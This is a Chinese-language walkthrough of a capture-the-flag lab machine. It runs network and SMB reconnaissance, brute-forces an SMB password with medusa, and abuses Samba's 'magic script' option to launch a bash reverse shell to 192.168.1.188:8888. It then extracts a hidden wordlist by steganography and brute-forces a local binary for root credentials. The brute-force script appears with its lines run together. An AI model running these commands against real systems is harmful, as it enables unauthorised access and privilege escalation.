一、信息收集
1.靶机ip确认
arp-scan -l
2.端口信息扫描
nmap -T4 -A -p- -sV 192.168.1.142
发现开启了80,139,445端口外还开启了smb服务
3.目录遍历
dirsearch -u http://192.168.1.142
访问robots.txt提示另一个文件
/crossroads.png
访问/crossroads.png发现是章图片,信息中断。
4.使用smb服务扫描器:enum4linux对靶机进行扫描
enum4linux 192.168.1.142 -A
扫出用户albert
5.使用medusa工具进行smb密码爆破
medusa -h 192.168.1.142 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt
得到密码bradley1
二、漏洞利用
1.登录smb服务
smbclient //192.168.1.142/smbshare/ -U albert%bradley1
也可以从文件夹登录,打开smbshare文件输入账号密码。
2.发现配置文件smb.conf
3.使用get命令将配置文件下载到kali查看
magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件
4.上传反弹shell脚本
bash -c 'bash -i >&/dev/tcp/192.168.1.188/8888 0>&1'
打开监听,上传脚本,实现连接。(先开监听再将脚本拖进去就好了)
nc -lvp 8888
拿到普通用户权限
三、提权
1.获取一个交互式shell使连接更稳定
python -c "import pty;pty.spawn('/bin/bash');"
2.回到上一个目录发现第一个flag
3.并且又发现了这个crossroads.png图片
将这个图片下载下来并且使用隐写工具stegoveritas将其内容提出
stegoveritas crossroads.png
提出的内容会在results文件夹下
在keepers目录下的第一个文件就是一个密码本。
4.将beroot文件下载下来,发现它自带提权功能。
只不过他要密码
5.结合之前的密码本写一个脚本进行密码爆破
将密码本考出成txt文件
写一个爆破脚本不用后缀
#!/bin/bash# 检查 pass.txt 文件是否存在
if [ ! -f "pass.txt" ]; thenecho "Error: pass.txt file not found."exit 1
fi# 使用 while 循环逐行读取 pass.txt 文件
while IFS= read -r pass; do# 使用 printf 传递密码给 ./beroot 程序printf "%s\n" "$pass" | ./beroot# 检查 ./beroot 程序的返回状态码if [ $? -ne 0 ]; thenecho "Error: Failed to execute ./beroot with password: $pass"fi
done < pass.txt
将脚本和密码本都上传到smb服务上,再移动到albert路径下
5.运行脚本
./pass
发现多了一个文件rootcreds
查看得到密码成为root
通关!